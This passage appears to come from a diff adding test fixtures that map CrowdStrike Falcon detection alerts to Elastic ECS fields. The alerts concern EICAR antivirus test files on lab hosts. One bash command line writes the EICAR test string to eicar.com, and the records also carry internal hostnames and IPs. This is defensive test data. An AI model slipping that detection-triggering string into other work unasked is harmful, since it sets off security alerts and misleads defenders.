/proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n current_time=$(get_time)\n if ((current_time - start_time >= timeout*resolution)); then\n kill -9 $pid >/dev/null 2>&1\n echo \"$command: Timed out waiting for script to exit\" >&2\n kill -9 -$$ >/dev/null 2>&1\n fi\n if ((current_time - last_print_time >= print_interval*resolution)); then\n printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n last_print_time=$current_time\n fi\n /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com", + "entity_id": "1751532935654264600", + "executable": "/bin/bash", + "pid": 1751532935654264600 + }, + "pid": 1751532935660927000, + "start": "2025-07-03T08:55:35.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d", + "21cdb844225f8dc4ea6e9f80f9940a2b" + ], + "hosts": [ + "cs-elastic" + ], + "ip": [ + "192.168.64.5" + ], + "user": [ + "root" + ] + }, + "rule": { + "name": "Attacker Methodology" + }, + "source": { + "ip": "192.168.64.5" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "tactic": { + "name": [ + "Execution" + ] + }, + "technique": { + "name": [ + "User Execution" + ] + } + }, + "user": { + "name": "root" + } + }, + { + "@timestamp": "2025-07-01T12:11:39.000Z", + "crowdstrike": { + "event": { + "AggregateId": "aggind:cff45d56127743a593792fb968dac907:38655211725", + "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320", + "DataDomains": "Endpoint", + "Description": "A process has written a known EICAR test file. Review the files written by the triggered process.", + "FilesAccessed": [ + { + "FileName": "eicarcom2.zip", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads", + "Timestamp": "2025-07-01T12:10:30.000Z" + }, + { + "FileName": "thumbcache_16.db", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer", + "Timestamp": "2025-07-01T12:10:30.000Z" + }, + { + "FileName": "eicar_com.zip", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", + "Timestamp": "2025-07-01T12:10:30.000Z" + }, + { + "FileName": "thumbcache_idx.db", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer", + "Timestamp": "2025-07-01T12:10:30.000Z" + }, + { + "FileName": "GLEAM-LIGHT.svg", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds", + "Timestamp": "2025-07-01T12:10:35.000Z" + }, + { + "FileName": "GLEAM-DARK.svg", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds", + "Timestamp": "2025-07-01T12:10:35.000Z" + }, + { + "FileName": "eicar_com.zip", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", + "Timestamp": "2025-07-01T12:10:41.000Z" + }, + { + "FileName": "eicar_com.zip", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", + "Timestamp": "2025-07-01T12:10:42.000Z" + }, + { + "FileName": "eicar_com.zip", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", + "Timestamp": "2025-07-01T12:10:43.000Z" + }, + { + "FileName": "iconcache_16.db", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer", + "Timestamp": "2025-07-01T12:10:43.000Z" + } + ], + "FilesWritten": [ + { + "FileName": "eicar.com", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com", + "Timestamp": "2025-07-01T12:10:43.000Z" + }, + { + "FileName": "The Internet.lnk", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", + "Timestamp": "2025-07-01T12:07:38.000Z" + }, + { + "FileName": "windowsdefender--threat-.lnk", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", + "Timestamp": "2025-07-01T12:07:38.000Z" + }, + { + "FileName": "The Internet.lnk", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", + "Timestamp": "2025-07-01T12:09:04.000Z" + }, + { + "FileName": "windowsdefender--threat-.lnk", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", + "Timestamp": "2025-07-01T12:09:04.000Z" + }, + { + "FileName": "https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", + "Timestamp": "2025-07-01T12:09:21.000Z" + } + ], + "GrandparentCommandLine": "winlogon.exe", + "GrandparentImageFileName": "winlogon.exe", + "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe", + "HostGroups": [ + "6b15afc3ea3a42ed810b5c163e490a9d" + ], + "MACAddress": "ba-d0-00-ba-d0-00", + "NetworkAccesses": [ + { + "AccessTimestamp": 1751371565, + "AccessType": 0, + "ConnectionDirection": 0, + "IsIPV6": false, + "LocalAddress": "10.0.0.13", + "LocalPort": 49729, + "Protocol": "TCP", + "RemoteAddress": "150.171.27.12", + "RemotePort": 443 + }, + { + "AccessTimestamp": 1751371565, + "AccessType": 0, + "ConnectionDirection": 0, + "IsIPV6": false, + "LocalAddress": "10.0.0.13", + "LocalPort": 49730, + "Protocol": "TCP", + "RemoteAddress": "2.22.144.74", + "RemotePort": 443 + }, + { + "AccessTimestamp": 1751371787, + "AccessType": 0, + "ConnectionDirection": 0, + "IsIPV6": false, + "LocalAddress": "10.0.0.13", + "LocalPort": 49948, + "Protocol": "TCP", + "RemoteAddress": "2.18.27.89", + "RemotePort": 443 + } + ], + "Objective": "Follow Through", + "ParentImageFileName": "userinit.exe", + "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternId": "10418", + "PlatformId": "0", + "PlatformName": "Windows", + "ReferrerUrl": "C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip", + "SensorId": "cff45d56127743a593792fb968dac907", + "Severity": 10, + "SeverityName": "Informational", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Type": "ldt" + }, + "metadata": { + "customerIDString": "e880572ce33c42458b31e0dd368497fc", + "eventType": "EppDetectionSummaryEvent", + "offset": 1956190, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Detection, standard detection.", + "category": [ + "malware" + ], + "created": "2025-07-01T12:11:39.000Z", + "kind": "alert", + "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:38655211725\",\"CommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"explorer.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"FilesAccessed\":[{\"FileName\":\"eicarcom2.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_idx.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"GLEAM-LIGHT.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"GLEAM-DARK.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371841},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371842},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371843},{\"FileName\":\"iconcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371843}],\"FilesWritten\":[{\"FileName\":\"eicar.com\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com\",\"Timestamp\":1751371843},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371761}],\"GrandParentCommandLine\":\"winlogon.exe\",\"GrandParentImageFileName\":\"winlogon.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\winlogon.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"23ba370fc8357f6f827812da142b5fcb\",\"Name\":\"Known Malware\",\"NetworkAccesses\":[{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49729,\"Protocol\":\"TCP\",\"RemoteAddress\":\"150.171.27.12\",\"RemotePort\":443},{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49730,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.22.144.74\",\"RemotePort\":443},{\"AccessTimestamp\":1751371787,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49948,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.18.27.89\",\"RemotePort\":443}],\"Objective\":\"Follow Through\",\"ParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"ParentImageFileName\":\"userinit.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"ParentProcessId\":38850737845,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10418,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":38850874557,\"ProcessStartTime\":1751371562,\"ReferrerUrl\":\"C:\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com.zip\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1751371899000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":1956190,\"version\":\"1.0\"}}", + "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", + "severity": 21, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "23ba370fc8357f6f827812da142b5fcb", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7" + }, + "name": "explorer.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe" + }, + "host": { + "domain": "dave-win10-3", + "name": "dave-win10-3" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "C:\\Windows\\Explorer.EXE" + ], + "command_line": "C:\\Windows\\Explorer.EXE", + "entity_id": "38850874557", + "executable": "C:\\Windows\\Explorer.EXE", + "name": "explorer.exe", + "parent": { + "args": [ + "C:\\Windows\\system32\\userinit.exe" + ], + "command_line": "C:\\Windows\\system32\\userinit.exe", + "entity_id": "38850737845", + "executable": "C:\\Windows\\system32\\userinit.exe", + "pid": 38850737845 + }, + "pid": 38850874557, + "start": "2025-07-01T12:06:02.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7", + "23ba370fc8357f6f827812da142b5fcb" + ], + "hosts": [ + "dave-win10-3" + ], + "ip": [ + "10.0.0.13" + ], + "user": [ + "win10_user3" + ] + }, + "rule": { + "name": "Known Malware" + }, + "source": { + "ip": "10.0.0.13" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "tactic": { + "name": [ + "Execution" + ] + }, + "technique": { + "name": [ + "User Execution" + ] + } + }, + "user": { + "name": "win10_user3" + } + }, + { + "@timestamp": "2025-07-01T12:11:39.000Z", + "crowdstrike": { + "event": { + "AggregateId": "aggind:cff45d56127743a593792fb968dac907:38655211725", + "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320", + "DataDomains": "Endpoint", + "Description": "A process has written a known EICAR test file. Review the files written by the triggered process.", + "FilesAccessed": [ + { + "FileName": "eicarcom2.zip", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads", + "Timestamp": "2025-07-01T12:10:30.000Z" + }, + { + "FileName": "thumbcache_16.db", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer", + "Timestamp": "2025-07-01T12:10:30.000Z" + }, + { + "FileName": "eicar_com.zip", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", + "Timestamp": "2025-07-01T12:10:30.000Z" + }, + { + "FileName": "thumbcache_idx.db", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer", + "Timestamp": "2025-07-01T12:10:30.000Z" + }, + { + "FileName": "GLEAM-LIGHT.svg", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds", + "Timestamp": "2025-07-01T12:10:35.000Z" + }, + { + "FileName": "GLEAM-DARK.svg", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds", + "Timestamp": "2025-07-01T12:10:35.000Z" + }, + { + "FileName": "eicar_com.zip", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", + "Timestamp": "2025-07-01T12:10:41.000Z" + }, + { + "FileName": "eicar_com.zip", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", + "Timestamp": "2025-07-01T12:10:42.000Z" + }, + { + "FileName": "eicar_com.zip", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", + "Timestamp": "2025-07-01T12:10:43.000Z" + }, + { + "FileName": "iconcache_16.db", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer", + "Timestamp": "2025-07-01T12:10:43.000Z" + } + ], + "FilesWritten": [ + { + "FileName": "eicar.com", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com", + "Timestamp": "2025-07-01T12:10:43.000Z" + }, + { + "FileName": "The Internet.lnk", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", + "Timestamp": "2025-07-01T12:07:38.000Z" + }, + { + "FileName": "windowsdefender--threat-.lnk", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", + "Timestamp": "2025-07-01T12:07:38.000Z" + }, + { + "FileName": "The Internet.lnk", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", + "Timestamp": "2025-07-01T12:09:04.000Z" + }, + { + "FileName": "windowsdefender--threat-.lnk", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", + "Timestamp": "2025-07-01T12:09:04.000Z" + }, + { + "FileName": "https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", + "Timestamp": "2025-07-01T12:09:21.000Z" + } + ], + "GrandparentCommandLine": "winlogon.exe", + "GrandparentImageFileName": "winlogon.exe", + "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe", + "HostGroups": [ + "6b15afc3ea3a42ed810b5c163e490a9d" + ], + "MACAddress": "ba-d0-00-ba-d0-00", + "MitreAttack": [ + { + "PatternID": "10418", + "Tactic": "Execution", + "Technique": "User Execution" + } + ], + "NetworkAccesses": [ + { + "AccessTimestamp": 1751371565, + "AccessType": 0, + "ConnectionDirection": 0, + "IsIPV6": false, + "LocalAddress": "10.0.0.13", + "LocalPort": 49729, + "Protocol": "TCP", + "RemoteAddress": "150.171.27.12", + "RemotePort": 443 + }, + { + "AccessTimestamp": 1751371565, + "AccessType": 0, + "ConnectionDirection": 0, + "IsIPV6": false, + "LocalAddress": "10.0.0.13", + "LocalPort": 49730, + "Protocol": "TCP", + "RemoteAddress": "2.22.144.74", + "RemotePort": 443 + }, + { + "AccessTimestamp": 1751371787, + "AccessType": 0, + "ConnectionDirection": 0, + "IsIPV6": false, + "LocalAddress": "10.0.0.13", + "LocalPort": 49948, + "Protocol": "TCP", + "RemoteAddress": "2.18.27.89", + "RemotePort": 443 + } + ], + "Objective": "Follow Through", + "ParentImageFileName": "userinit.exe", + "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternId": "10418", + "PlatformId": "0", + "PlatformName": "Windows", + "ReferrerUrl": "C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip", + "SensorId": "cff45d56127743a593792fb968dac907", + "Severity": 10, + "SeverityName": "Informational", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Type": "ldt" + }, + "metadata": { + "customerIDString": "e880572ce33c42458b31e0dd368497fc", + "eventType": "EppDetectionSummaryEvent", + "offset": 1956190, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Detection, standard detection.", + "category": [ + "malware" + ], + "created": "2025-07-01T12:11:39.000Z", + "kind": "alert", + "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:38655211725\",\"CommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"explorer.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"FilesAccessed\":[{\"FileName\":\"eicarcom2.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_idx.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"GLEAM-LIGHT.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"GLEAM-DARK.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371841},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371842},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371843},{\"FileName\":\"iconcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371843}],\"FilesWritten\":[{\"FileName\":\"eicar.com\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com\",\"Timestamp\":1751371843},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371761}],\"GrandParentCommandLine\":\"winlogon.exe\",\"GrandParentImageFileName\":\"winlogon.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\winlogon.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"L